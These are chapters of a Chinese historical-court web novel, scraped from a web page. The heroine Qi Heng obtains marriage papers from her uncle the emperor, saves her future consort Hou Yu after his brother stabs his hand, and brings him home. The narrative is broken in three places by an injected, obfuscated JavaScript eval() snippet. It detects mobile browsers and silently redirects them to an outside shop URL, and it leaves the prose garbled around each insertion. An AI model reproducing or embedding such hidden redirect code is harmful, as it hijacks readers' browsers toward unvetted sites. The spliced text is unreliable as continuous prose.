等戚姮后知后觉意识到自己到底闯了怎样一个“谋逆大祸”时,已经靠着被骄纵惯养养出的性格,在前线违抗军令忤逆主帅了。 回来后才第一次面对动怒的赵繁英,挨揍施压轮番来,只为震慑她越烧越旺的狂妄。 戚姮一开始真被吓住了,可被惯出来的脾气短时间也改不掉,做事依旧不计后果。经历此事,成功把自己送进大狱后,她反而想开了。 御史台的各方证据放在面前,赵繁英也能暂缓执行。后煜一个真假暂定的证人提了几份证据,二话不说就下旨放人了。 他也就吓唬吓唬,该心软捞人的时候丁点也不含糊。 舅舅果然还是舅舅。想到这,弯眉一笑,戚姮脚步调转,跑去了皇宫。 刚进宫门迎面撞上赵繁英的贴身总管,戚姮拉住他:“徐公公,陛下在哪呢。” 徐公公瞧见是戚姮还吓了一跳,又打量了一番她的模样:“您这是……怎么出来的?” “陛下查明了真相,还我清白,自然就出来了。”戚姮玩笑道,“难不成还是越狱?” “世子说笑了。”徐公公松了口气,“陛下如今正在福宁殿,还未歇下。” 戚姮点头:“多谢公公。” 待人通传后,戚姮方才踏进殿中。 赵繁英看见这祖宗就条件反射头疼,在软榻上翻了个身,只留给她一个怨气冲天的背影。 戚姮自顾自行了个礼,歪头喊他:“陛下?” 赵繁英不应。 “舅舅?”戚姮溜到赵繁英身侧,跟喊魂似的喊他:“舅——舅——” 赵繁英还是不搭理。 “还在生气吗?”戚姮嘴一撇,坐在了软榻边,伸手过去:“要不您再打我一顿?” 赵繁英推开了她的手:“去你的。” “哼。”戚姮起身,“既然陛下不想见臣,天也不早了,我就先走了。” 戚姮刚迈出去还没有三步,身后赵繁英果真坐了起来,喊道:“回来。” 赵繁英瞧了一眼,她除了穿得磕碜以外不像有事的,伸手探上她的脉搏,脉象平稳,也没有问题。 “你倒是过得舒坦。”赵繁英没好气地扔开她的手,“让我去跟御史台对抗,李在溪就差替我写处置你的圣旨了。” “那舅舅不也没处置。”戚姮眼睛眯眯笑,“简直是天下最可靠最明事理最好的舅舅。” 赵繁英一顿:“蹲个大牢还让你学会说这种漂亮话了。” “不蹲大牢也不知道您的用心良苦啊。”戚姮挪动两步,抱住了赵繁英的胳膊,仰起脸看着他,“我刚回来的时候还不懂,现在想想,做的那是什么混账事,我——” “停停停停。”赵繁英忍不住打断道,“你跟你娘简直如出一辙,她要是憋了个更大的坏主意就是这样。你别学她,我害怕。” 戚姮:“……” 戚姮道:“其实我这次来,还真有一事想求陛下。” 赵繁英平静的面容出现两丝裂痕。 戚姮讶异道:“舅舅不好奇是什么吗。” 赵繁英:“是什么都比你娘做的那些让人好接受。” 戚姮“嘿嘿”两声:“确实。这次侄儿来,是为了讨要两份聘书。” 赵繁英松了口气,又皱起了表情:“这才刚出来,老实点吧。你还想一下子娶两个不成。” “没有啊。”戚姮无辜道,“一份署名,一份还没想好,先备着,以后再说。” 赵繁英斜睨着她,见她满脸真诚,才道:“你看上谁家的了?” 戚姮还没答,赵繁英就先出声了:“你能认识谁?要是什么勾栏瓦舍说曲唱戏的小倌,趁早别想。” “不是不是。”戚姮满头问号,“正经人,良家子。” 赵繁英面色这才恢复如常:“谁家的。” “说来,您也认识。”戚姮道,“就是为我作证的那位。” 赵繁英一愣:“太府卿?” “就是他。”戚姮挠了挠头,解释,“那日我想说的证人就是他,顾忌了些别的就没说。今日他来送圣旨,讲了经过,这才想着把这事敲定。” 赵繁英不确定地望向戚姮:“你没逼他吧?” 戚姮不解歪头:“我原来在您眼中是这般的风流纨绔,喜欢寻花问柳,还强抢民男?” 赵繁英尴尬地咳了声:“倒也并非如此……只是,他当正还是当侧?” “侧室,侧室。”戚姮说,“我这不是那次从宫里出来就准备好了赶紧完婚,早就相看了。他这么一提,提晚了,就只剩侧室能挑了。” “行吧。” 赵繁英也不多问真假了,左右侯府最开始就是同开国皇帝打天下的功臣世家,今夕一朝风光无限,有人上赶着也正常不过。 他喊了人去备东西,才扭头说:“今早上,我本是想问江南盐钞,才叫解羽来了殿内。谁知道他突然掏出了一堆东西。字据,证词,以及你的不在场证明。反正挺多的。” “那我还能多说什么。” 赵繁英移到桌前,笔墨纸砚迅速由宫人备好,他提笔,继续道:“你与解修竹闹得那么难看,我没想到他儿子能愿意为你担保,现在又自愿做小。” “解修竹不得气疯了?他就俩儿子。” 秦国公气不气戚姮不知道,反正她是挺想笑的。 戚姮又问:“那李在溪和宁淮怎么定性?他们合起伙来整我,又有新的供词证明我是无辜的,他们不该也进去蹲几天吗?” “御史中丞此举,是正常流程。”赵繁英解释,“御史台也分不清案件真相,只根据状纸,人证物证,依照诉求进行弹劾。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531472|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他的证据充分,对你动机解释的也很合理,而且你当堂并没有推出证人持续争论,便是暂时认下了他的控诉。” “这就是御史台的职责,不构成任何诬陷。我可治不了他的罪。” 赵繁英继续道:“至于宁淮,也不算有问题。问题出在开封府那边,他也是听了差役的话,才递了状纸。” 戚姮难以置信,低头喃喃:“我的命怎么这么苦……” “你要是想将背后的始作俑者查清楚,得先去搞清楚为什么衙役会把矛头指向你,并且是所有人,这肯定有问题。然后再从他俩身上入手,调查人际网等等。” 赵繁英耸肩:“不过这就很麻烦了。把逃跑的犯人抓回来,查出真相,直接结案其实更适合你。” “朝堂之上,政敌互相攻讦很正常,以后还会有很多。尚且根基不稳时也做不到连根拔起,没必要再去浪费精力。” “好了。”赵繁英收了笔,“你拿去吧。” 戚姮思量着他的话,再不离宫就要落锁了。 · 跟御史台在朝堂对峙时,解修竹是少见的,并未下场表态的人。 戚姮本以为他会掺和一脚,却没有,证明他并非落井下石的小人,便不会因故意报复而参与其中。 当场就把他排除了嫌疑。 细想来,戚姮最开始的猜测是对的,他们父子二人的关系确实没有好到能达成政治共识的程度。 后煜也不是因为解修竹的原因才跑来做的细作,更不是因为解修竹对此事无动于衷又跑去找皇帝作证。 实际是各有立场。 就像后煜说的,作证是为换个保命筹码而已。 文官集团除了秦国公,便是御史中丞,有言道一山不容二虎,他们二人会不会也是政敌呢。 戚姮脑中又浮现出了个模糊的想法:后煜掺和李在溪这队伍的最初原因,或许是为了给解修竹找不自在。 他看起来还挺善良的,本就无冤无仇,有点良心的人也做不到致一个陌生人于死地。 这也能解释为什么他会擅自隐瞒去很多东西,比如,戚姮知道那暗道的存在。 可后煜既然已经公开姓了解,便不再是私生子,是正儿八经的解家庶子,若嫡长子遭遇不测都能继承家业。 怎么会落得个连命都不保的地步。 难道只是因为提供了证词,就怕被谋杀。 如果这项猜测为真,幕后那股势力应该相当位高权重了,连秦国公府都能压上一头,连后煜都要与之虚与委蛇。 后煜是参与者,解修竹是旁观者,李在溪宁淮是执行者,赵繁英负责裁决……朝廷也就是这些人的平分了。 谁还能是操盘手? 安分是不可能安分的,戚姮摩拳擦掌,得了赵繁英的提点,算是知道具体该往哪个方向查了。 目前的突破口只有后煜这小子,这家伙能什么都知道,就是嘴严这点不好。吐露些实情,事情就好办太多。 戚姮向前走过身边这座府宅后,突然又倒了回来。看着紧闭的大门,想了半天哪眼熟,突然脑中灵光一现,想起来了。 这不就是后煜的家吗。 戚姮想着在开封府分开前他那个上赶着的劲,撸起袖子打算来个出其不意,万一就感化他了呢。 她熟练地绕着宅子走了一圈,挑了个好位置,三两下就翻上了墙头。 戚姮刚上来,随意抬头扫到院中情形,那是她这辈子反应最慢的一刻。 宕机的大脑还未来得及意识到发生了什么,瞳孔便随着刀光骤然收缩—— 嫣红鲜血炸开的瞬间戚姮呼吸一滞,指着解烺暴喝一声:“干什么呢!!!” 24. 翻身上位【四】 解烺听见吼声一个激灵,他本单膝跪在地上,玩味的表情未收。眨眼间戚姮就以迅雷不及掩耳盗铃之势冲到面前,他都没看清戚姮抬腿的动作,前胸就狠狠挨了一脚! 胸骨碎裂的声音清晰地传进颅内,解烺飞出数尺远,顿时觉得五脏六腑都移了位,剧痛从胸腔迅速扩散到四肢百骸,忍不住如虾米般抽搐起来。 灼热的刺痛遍布整个呼吸道,只呼不进,解烺难受地刚张开嘴,就猛地呕出一口鲜血。 “咳……咳咳……” 他扬起脖颈,面露痛苦,惊恐万分地看着戚姮。 衣衫单薄,发丝缭乱,被关了一周没有挫掉她的锐气,站在月下反而如罗刹阎王来索命了。 戚姮还要追上去继续揍,后煜的惨呼声已经响了起来:“我的手……” “……” 戚姮转头,看了一眼头皮都炸起来了。 匕首从后煜的掌心直直刺入,没过一半,刀尖已经扎进地里,手掌心正汩汩冒着鲜血,流得迅速,淌了满地。 刚刺入时大脑一片空白,疼痛现在才迟缓地疯狂袭来。后煜眼珠子都是红的,额上青筋暴起,牙关咬的太死,唇角渗出了血,还是忍不住哀嚎出声:“啊——!!” 她倒回去查看后煜的伤势,但也不是专业的,只能看出伤的很重。他喊得又太过凄厉,听得人心慌,戚姮拔高音量道:“你喊可以,千万别动。不然手就废了。” 戚姮不敢擅自给他拔出来,这样的伤口必须要郎中来处理,万一止不住血等会很快就要休克,必须得先请大夫。 顾不得后煜能不能听进去,又不能在这看着他别动,只能寄希望于他还存些理智,听得懂话。 戚姮撇过头去不再看,迅速起身,大步迈向还在地上挣扎的解烺,又是一脚:“你不知道这是朝廷命官吗?!你这是谋杀!!” 解烺撑不住第二脚,当即两眼一黑晕死过去。 “不能杀他……”后煜浑身冷汗直冒,就跟从水里捞起来了似的,这时候了还要忍着疼说,“戚姮!他是秦国公家的!不能杀他!” 戚姮才刚出来,要是把解烺打出个好歹,被国公府记恨上就出不来了。 戚姮硬生生停住动作,转头对跪倒在地的后煜嘱咐:“你别乱动!我出去给你找郎中,不要自己拔,别乱动!很快就回来。” 后煜仰视着戚姮,已经没什么力气了:“我不动……” 戚姮拽住解烺的衣领往外拖,扔在离宅子有些距离的的大街,确保解烺就算诈尸也爬不回去,才在街上寻着医馆。 “有人吗?” 这样晚了,郎中几乎都关门回家了。戚姮好不容易找到了里头还亮着的医馆,虽上了锁,也不管什么三七二十一了,拍着门板大声嚷嚷,“大夫!人命关天啊大夫!” “谁啊?” 里头的人被喊魂似的喊出来,披上外衣,道:“已经打烊了……” 戚姮一把抓住面前郎中的胳膊,差点给他掐断:“大夫!我是定远侯府戚家的,人命关天,快带上东西速速与我来!” 原先还懒懒散散不耐烦的郎中闻言登时一惊,站直了身子:“稍等。” 失血到现在,后煜的意识已经相当模糊了。喉口干哑难耐,粗重的呼吸传回自己脑中,心脏砰砰狂跳,又冷又累,瘫软的全身叫嚣着疲惫,只想睡去。 头越垂越低,冷汗顺着额头淌到眼睫,滴进左眼一片辛辣,被刺激地根本睁不开。 要死了吗。 后煜听了话,待在原地没动过一寸。 不是说听话就能活下来吗。 “这里这里!” 戚姮拉着郎中来到了门口,一个箭步冲上来托住了后煜即将沾着地的脑袋,双膝磕在地上“砰”的一声。 她抱着后煜的脑袋,轻轻拍了拍他的脸:“灵灵,郎中我给你找来了,你别睡啊。” 后煜枕在她的腿上,强撑着没有闭合的眼睛眯成了条缝,直直盯着戚姮的脸。 从前戚姮太聪明了,什么都能看穿,什么都尽在掌握,被陷害被污蔑,被铺天盖地的舆论裹挟着走连眼都不眨,还是第一次看见她无措成这样。 戚姮突然间有了真实感,金发蓝眼在月下生辉,越瞧越像个……从广寒宫而下的仙子。 “哎哟!这是怎么伤成这样的!”郎中眼珠子差点瞪掉,“扎得太狠了,即便治好了这手也废了。” 戚姮扫了一眼:“还好是左手……尽量保吧,他是朝廷言官,日后还要读书写字,也不用干什么重活,只要能握东西就行。” 郎中先将药箱中的止血粉拿了出来,整个一瓶洒在后煜手上,待不再渗血后才道:“拔刀会疼,但不能动,不然伤害更大。” “待会还要看这刀上没上锈,如若有锈还要清创,严重些,以后恶化了要把整只手截掉。伤口要用针线缝合,会很疼,我这也没带麻沸散……” “治。”戚姮毫不犹豫,“先把刀拔出来,我按住他。以后的事以后再说,能保手就保,不能保手就保命。” “好。” 后煜听了全程,见戚姮半分想问他意见的意思都没有就安排好了一切,右手抓住衣裳布料,可悲的自尊心又在作祟,想着打死疼死也不能动。 结果还是高估了自己。 郎中的动作很慢,生怕刀刃二次割伤经脉,再给血开了闸。即便慢下来疼痛也丝毫不减,反而难挨。 后煜牙都咬碎了,还是忍不住喊出声,身体本能想抽回手,被戚姮提前给按住,撼动不了半分。 戚姮一手压在胸口,一手摁住他的左胳膊,后煜再能耐就只有两条腿能扑腾,宛如濒死的鱼。 “别喊了!”戚姮吼了一句,“现在周围邻居都睡了,你再把人吵醒出来看,都看见你哥被我打晕躺在街上,把官兵引来我还要进去蹲大牢!” 后煜被吼的一震,注意力被分走了大半,琥珀色的眼珠子噙着泪,转悠一圈,委屈先涌了上来,干瞪着戚姮哗哗掉眼泪。 戚姮放软语气:“等会就好了,等会我带你回侯府。” 后煜从咬紧的牙齿缝中蹦出几个字来:“你要带我……回……” 戚姮接上了他的话:“是,今晚上我就带你回侯府。” 匕首拔出的瞬间,原本止住的血又汹涌了起来,郎中忙拿出第二瓶止血粉撒了上去。 他擦干净刀,观察过后松了口气:“没有锈,这就好办了。” “接下来就是缝针。”郎中拿出他的针线,仰头对着月光穿了起来,“这不是一般的疼。” 后煜都想去死了。 · 折腾了半个多时辰才把他的手保下,缝线消毒又包扎,后煜整个人已经气若游丝,瘫在地上,比死了还安静。 “没有伤到骨头经脉,已经是不幸中的万幸了。只要好好养着,抓握些轻巧的东西没问题,重物不行。” 郎中擦了擦累出的满头汗,嘱咐道:“近些日子还是在家好好养着吧,以免再出现什么意外。” 戚姮颔首:“麻烦了。明日天亮,我定带着银两上门致谢。” “无碍无碍。”郎中反倒摆了摆手,“给世子治好过病人,就已经是活招牌了。” “那怎么行,银子还是要给的。” 将人送走,戚姮转头看着双目紧闭的后煜。他整张脸已经毫无血色,嘴唇干裂,口中咬破出的血在唇角干涸。 “还醒着吗?” 后煜缓缓点了点头。 “你还挺能忍。”戚姮笑了声,“这都没疼晕,挺厉害。” “外头那个是秦国公家的?”戚姮问,“是你哥吧。” 后煜迟疑了一下,心想戚姮果然是知道了,又点了头。 “看来你们大宅子矛盾不小啊。”戚姮算是知道他说的自保是什么意思了,“我还以为你用个假名字骗我,说的那些大部分也是假的。原来真有人敢杀你。” 后煜不作反应了。 “今晚上跟我回去吧。”戚姮道,“刚刚我去找官家要了聘书,你已经是我家的人了。按理,是该我照顾照顾你。” 后煜眸底满是惊愕,一时间愣在了原地,许久没有反应。 戚姮问:“不想去?” 他张开了嘴,哑声道:“你找官家……证婚……” 戚姮理所当然道:“他是长辈,顺道写几个字而已,问题又不大。” 后煜怔过之后缓缓点头:“我要跟你回去……” “那你是想当没发生过,还是找上门,我去跟你爹要个说法。” 戚姮边说边起身,捞起后煜背上身:“他敢这么欺负你,是你家里人都默认的。” “默认,授意,都不重要。”后煜靠着戚姮的后颈,虚弱道,“算了吧。” 戚姮去墙角拿上了跳下来时随手扔的聘书,在身上蹭干净土,塞进后煜手中,让他拿着。 “一回算了,两回算了。都动刀子了还算了?” 后煜轻笑了声:“前几天,是我先咬伤了他的手,不算亏。” “不是一个概念。”戚姮跨出门,语气不容置疑,“明日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531473|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我带着你去国公府。” 后煜想接着拒绝,话到嘴边改了口,尾音都在发着颤:“李在溪与宁淮是旧相识,十三年前处理楼兰旧案的负责人也有他。一文一武,合力围剿灭了楼兰。” “赫连般若逃跑后才给了他们二搭的机会,交涉的其实并不多。” “宁淮原意是杀了赫连般若,把锅甩到了你头上。突发意外,还没等动手,她就跑了。” “宁淮只能找到了李在溪,想让御史台接手这案子,把他摘干净。原本准备好栽赃嫁祸的东西一件都没用上,宁淮心很悬,但发现御史台真有办法后便顺坡下驴,搞出了现在这些事。” “我爹没下场,可你现在打了解烺,再去找上门,他就会站队了。” 后煜一口气坦白了大半,身体虚弱,缓上一会蹦出几句,闭着眼调整呼吸,拥住了戚姮的脖颈,搂得很紧:“你若再被秦国公针对,就是彻底与朝廷势力分庭抗礼。本就不得人心,再自开个门户,没人皈依你,混不下去的。” 戚姮拧眉听着,越听脸色越沉,脑中飞速捋清这些话。 行到解烺身边,拽起他的一只腿,继续拖着往回走。 “你这次是骗我的,误导我做出错误判断,还是良心发现说的实话。” 戚姮倒觉得他说的很可靠。 只不过习惯了在询问前先作出判断,再去抓盘问后圆不上的逻辑漏洞,靠施压诈出真话,下意识就想问上一句。 “实话。” 后煜什么演戏开玩笑的心都没了:“一报还一报,你救了我,我与你交换信息。” 戚姮问:“宁淮为什么想杀了赫连般若?人要是死了,就完全污蔑不到我身上了。” 后煜:“宁淮有东西要掩盖,在牢里就对赫连般若施以重刑,发现她记得,起了杀心。他的目的不是你,只是有人想对付你,他就搭了条快风。” “更重要的……?”戚姮又问,“你知道吗?” 后煜否认:“不知道,连李在溪都不知道。这事只有赫连般若知道。” 只有赫连般若知道,那便是关于曾经楼兰那些事了。 宁淮却很惧怕这个秘密被别人知道。 戚姮敏锐地嗅到了一丝非比寻常。 戚姮问出疑惑很久的问题:“那天,你到底听到我跟赫连般若的对话了没。” “听到了。”后煜承认,“我潜进开封府就是为了听这个。” 戚姮更好奇了:“你到底是怎么想的?在朝堂对峙的时候,我还以为地牢这环是被安排好了,等着我自投罗网。结果你就是单纯下去逛逛。” 后煜默了默:“我并不想做这些事,但既然参与了,就要探清来龙去脉。我想当个哪边都不糊涂的中间人。” “那天,我是从城郊密道出口溜进去的,也是从那里出来。所以……没人知道。” 戚姮惊呆了:“太贼了。两边你都耍!” “……我这种人,混进你们的圈子里,格格不入。无论是谁,潜意识还是没瞧上我。总觉得能拉我入一方阵营便是大恩大德,我就一定会感激涕零地听从。” 后煜附在戚姮耳边,气息吹在了她的耳边:“其实我一个都不听,全都进去掺和一脚,保命的时候拿出来卖消息。” 戚姮只觉得耳朵痒,笑着躲,重心不稳踉跄好几步,差点一起摔了。 “你把老底都揭给我了,我以后就更不敢用你了。”戚姮实话实说,“我可不敢被你不知道留了多少后手的兔子给套住。” “我既说出来,就没打算让你重用我,更没打算在你这做事。” 后煜叹气:“被察觉出来我反水了,很难办。” 戚姮陷入沉思。 后煜又道:“现在官家赐了婚书,轻易和离不了。若你真的倒台,我也没什么好日子能过,清算都是连根拔起,事成之后过河拆桥,不是没可能。” “铲除了我,于他们而言也都是随手的事。” “我现在自然得提醒你一句,好不至于让你往后一头雾水。” “但具体的我不能说,你调查的太顺利,我就该被怀疑了。” 戚姮憋了半天,缓缓道:“……何止用狡兔三窟形容,你这完全是从十面埋伏里硬杀出来的项羽吧。” 后煜还是笑:“我顶多就是个曹无伤。” “虽然,我懂你是想让我暂时安分守己,不要在这种时候招惹中立的秦国公。” 戚姮垂眼扫过解烺,道:“但我戚姮,天生嚣张跋扈,睚眦必报。” “他完了。” 25. 翻身上位【五】 解烺让人捆了关进柴房。 戚姮回来没多久,消息迅速传到了戚砚耳中,他都解衣睡下了,又急急忙忙穿好披好外套跑去了石上流舍,鞋都落了一只。 “哎呦我去,闺女啊——你终于回来了。” 戚砚人未至声先到,风风火火地一巴掌拍开门,三步并两步跑进屋内,嗓门嘹亮:“你爹我都快去劫狱了。” 他冲上去抱住戚姮,撞得她一个踉跄,扶住桌子才堪堪站稳。 戚砚抱起戚姮掂量了一下,寻思道:“瘦了。定是狱中伙食太差给饿的!” 戚姮很是无奈:“我每顿饭三菜一汤呢,上哪瘦去。” 戚砚又细细将戚姮从头到尾检查了一番,确定没有大碍,才突然怒不可遏道:“赵繁英什么人啊,亲侄女也舍得送去蹲大牢。最好别真让我当上皇帝,不然他这辈子也别想出来了。” 戚姮:“……不要天天把这些杀头的话当口头禅。” “反正又没别人听见。”戚砚终于瞟到了缩在大床角落里的后煜,话音一滞,指着他问,“这谁啊?” 后煜正心道倒霉,居然不小心听到了戚砚的违逆话,本想装鹌鹑缩进角落,就当不存在。猛地被点名给他吓得一哆嗦,整个人大惊失色,嘴比脑子还快:“我什么都没听见!” 戚砚眯了眯眼:“我不信。拖出去杀了。” 后煜:“!!” 戚姮:“……” 他求助的目光看向戚姮,见她只是面无表情呆滞着,急得都快哭了,语无伦次道:“我,我真的没听见。别杀我……” “你别吓他了。”戚姮都被逗笑了两声,无语地推开戚砚,“本来就不经吓。” 戚砚背过身笑了半天,才回过头一本正经道:“这不就是打个招呼。” “……” 侯府的招呼都是这么打的吗。 见气氛化开后煜才慢慢卸下防备,抱着被子虚脱地靠着墙。狂跳不止的心脏,血液直冲脑门的刺激都让他暂时忘记了掌心的疼痛。 他向来与别人不同,对什么杀伐果决的常胜将军没有钦佩欣赏,只有浑身打颤的恐惧。他总觉得这类人喜怒无常,杀人比捏死蚂蚁还轻松,压根让普通人没有反抗的余地。 尤其最怵定远侯。 若说戚姮脾气大爱动手,那戚砚的存在就是反衬她还有些温柔。 夏怀微说过,在他幼时,戚砚来国公府参宴,只因座位被排得靠后,就认定是瞧不起他,大闹宴席,最后闹到了官家那。 解修竹讲过,年少时京中贵族子弟都进东宫学府,陪读太子,戚砚也在其中。但他没有读书天赋,被太子笑话了两句,直接抄起砚台砸向太子,给他肩膀砸脱了臼。 还是官家出面才得以平息。 宁淮也说,当年随戚砚出征北疆时正值南部大乱。他跟疯了一样突然控制住朝廷传信的监军,阳奉阴违,在城外和别人演了一出叛军攻城,他从前线紧急回城的戏码。 一路被逼退到皇宫,装作不胜武力的样子迅速投降。熹宗皇帝还以为他真是忠良,哪知戚砚牵来了一只鹿,问到底是什么,答错了就写禅让书。 赵高的例子在眼前,熹宗皇帝答的马,戚砚向来恶趣味,无论是马还是鹿,他都是要签的。 结果戚砚没当皇帝,赵繁英也没有,先送上去的是赵轻絮。 果真百闻不如一见,他还真是这么爱捉弄人。 后煜差点交代在这 “说来话长,但长话短说,这是我新收的偏房。”戚姮拉过后煜,捏住他的脸面向戚砚,“怎么样?” 戚砚摩挲着下巴,实话实说:“恐怕不行啊,有点虚。你看这脸白的。” 后煜:“……” 戚姮松了手,后煜又缓缓缩回去了:“是失血太多了,他被人扎了一刀,刚救回来。” 戚砚一惊一乍地:“有人刺杀你?” 戚姮下巴一抬:“他。” 戚砚“哦”了声:“我那有人参,待会让人切点煮了补补吧。反正也没人吃。” “成。”戚姮也算一段时间没回家了,又问,“呼延绰呢。她还老实吗?” 不说还好,一说,戚砚的面色极其诡异,在戚姮期盼的目光中,尴尬道:“我实话说了吧。你不在家的时候她总溜进我房间,大半夜突然站在床头。无论安排多少侍卫都根本抓不到人,我怀疑她会武。” “有这能力不去为国捐躯,为什么要逮着我一个凉了的黄花菜不放?” “……她的国是北凉啊。”戚姮扶额,问了些别的,“那她近些天有什么异常吗?” “没有。”戚砚说,“除了有点喜欢老男人,没什么不好。” “再看看吧……明天我去问问她怎么想的。” 见着戚姮没出大事就放心了,戚砚环着胳膊徐徐离开:“我去喊人送水来,收拾完早些休息吧。” “帮我告个假。”戚姮继续说,“两个人的,我,还有太府寺解羽。” 戚砚又瞥了一眼后煜,应道:“行,行。” 等戚砚离开半晌,后煜才敢说话,伸着脑袋向外望了一圈,打量着四周:“你爹是天生少白头吗。我瞧着他并不老,居然一根黑发都没有。” “愁的。”戚姮绕到铜镜前,摘下绾发的簪子,声音飘去,“皇权过渡时压力太大,就成这样了。” 后煜讶然:“一夜白发?” “嗯。”戚姮突然吟诗,“君不见,高堂明镜悲白发,朝如青丝暮成雪。” 眼珠斜到呆愣的后煜,才咳了咳,正经道:“那堆烂摊子搁谁身上都得成这样。他头发都白十二年了。” “……” 后煜蹙起眉,他总有渠道能听到各种关于侯府的消息。无论哪方消息,讲的都是戚砚命好,在夺嫡之争中选对了皇子。 新帝登基,把摇摇欲坠地王朝扶上正轨,戚砚得了个从龙之功,稀里糊涂地将侯府盘活了。 可戚姮这话,似乎不对劲。 后煜偷偷看了她好几眼,戚姮还在镜前梳着发,没有细讲的意思。 “刚刚面对我爹,你哆嗦什么。”戚姮沉吟,“他就是脑子不太正常,喜欢吓唬小孩,人还是挺好相处的。” 后煜摇头:“其实……还好。只是定远侯的名声在外,畏的是那些。” 戚姮起身,靠着桌沿边,面朝他笑了声:“我有时候,真挺好奇你的消息网都撒哪去了。在牢里阴谋论了一番皇帝传位,现在又说我爹名声可怕。” “……” “你听到的所有东西,无非都是我那些政敌说的。”戚姮好整以暇地,“事都闹成这样了,你亲眼见证他们把赫连般若逃跑的责任推到我身上,却还在信他们说的话。” “抱歉。”后煜自惭形愧,“我确实被舆论影响了。” 戚姮摆了摆手,不甚在意:“正常。是人都有争议,无非愿意相信哪方面罢了。” “那我呢。”后煜问,“我是个细作,心也不干净,对你有威胁。你是愿意相信我才带我回来的吗。” “比夏怀微好多了吧。” 戚姮随口道:“他一直躲在你和宁淮身后,装的跟白莲花似的。其实他最阴险吧?如果是他,我就不敢带回家了。” 后煜整个身子僵了大半。 知道戚姮看人很毒辣,可真听她分析的这么准,还起了是阵阵心虚。 入了侯府,在她眼皮子底下,真的还有秘密可言吗。 “说话留三分的世道,人心隔肚皮,谈不上相不相信吧。” 戚姮颇有些正经道:“谁身边都有几个忠的,奸的,左右摇摆的。反正我用人,更多是妥协,只要我自己能承受看走眼的代价,都留下又何妨。” 后煜静默片刻,问:“你的意思是,信我不会害你。” “是你还不足以对我产生威胁。” 戚姮走来,一只脚踩在床沿,手肘撑着膝盖,半个身子探进帐内:“就你这,谁强跑去跟谁的墙头草,能威胁到我?” 后煜好胜心也上来了:“不能吗?” “整个东京城,”戚姮伸手指了一圈,又戳回自己的肩窝,“能力最强的人,就是我。” 顿了一下,戚姮扬起个笑,视线下移,意有所指:“别的地方也很强。” 后煜:“…………” 看清他红一阵白一阵的脸色,戚姮伏在床上大笑,肩膀发颤。 “流氓。”后煜侧过身去背对着她,耳尖通红,不愿搭理。 戚姮笑够了,双手一拍他的肩,凑近道:“你太聪明,都聪明过劲了,没有忠心可言。但你本性不坏,明辨是非。我早看出来了,你听人劝。” 想压制这种人,要么非常强,他便不敢再左右逢源。 要么就只做对的事,让他的良心往这边靠。 但这些都是虚的,随时可能在绝境中崩塌,他最惜的还是命。 “你自己也能掂量出来谁在利用,谁是真意,谁又能给你安稳日子。要不然也不可能找上我。” 戚姮的手滑到脖颈,温热的指腹扫在喉结,传去一阵酥麻,猛地抬起后煜的脸,俯视着他:“记住了,只要你不害我命,损我利益,我就能保你富贵平安。” “我对你不薄。” · 后半夜,戚姮翻来覆去,辗转反侧,睁开眼,无奈地瞪着天花板,语气幽怨:“你要是手疼,我就寻些止疼药喂你。别哭了,我睡不着。” “对不起。”后煜在黑暗中面无表情地流着泪,默了默,他追问:“止疼药是什么。” “不早说。”戚姮掀开被子,“等着。” 戚姮单单一个寝室堪比后煜那宅子两间房的面积,身下这张床别说躺他俩,再躺俩也绰绰有余。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531474|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她“噔噔噔”跑出去,门还没出,声就听不见了,四周瞬间变得寂静空旷。 翻腾了半晌,戚姮才回来。半碗凉水和一个小药瓶搁在床头桌边,她把后煜薅了起来,倒出四五粒药丸塞进他嘴里,再端去水顺着服下。 “算你是跟对人了。”戚姮盘腿坐回去,“我家别的不多,就药多。止血止痛,补气养身。就你喝的那参汤,一口下去能续三年阳寿。” 她还拿了帕子,为后煜擦干净脸,才推着他躺回去。 总算能消停了。 戚姮安安心心正准备睡,也不知后煜的脑子怎么想的,忽然开口:“侯府还有医药生意?” 戚姮生无可恋地答:“是我身体不好。” 后煜翻了个身面朝着她:“你身体不好?” “打娘胎带出来的病,现在好了。” 戚姮躺得板正,双手叠在小腹上,闭着眼道:“小时候练武经常跌打损伤,长个的时候腿疼,半夜疼得睡不着,跑去找我爹哭。他从我四五岁就和我舅舅研究怎么养体病,后来就是止疼。留下一堆药方。” 她脸窄鼻翘,侧脸如凌厉尖刀,棱角分明。后煜看着,再想想平日戚姮的作风,怎么也联系不到体弱多病上去。 “看我干什么。”戚姮扭头,“药效得等会才能起作用,疼也得忍忍。” 后煜抓紧闭上眼:“噢。” 听着没了声音,后煜悄悄睁开一只眼,就见戚姮不知何时已经到了脸前,竟半分没有察觉:“你还看我。” 后煜慌乱地:“我……” 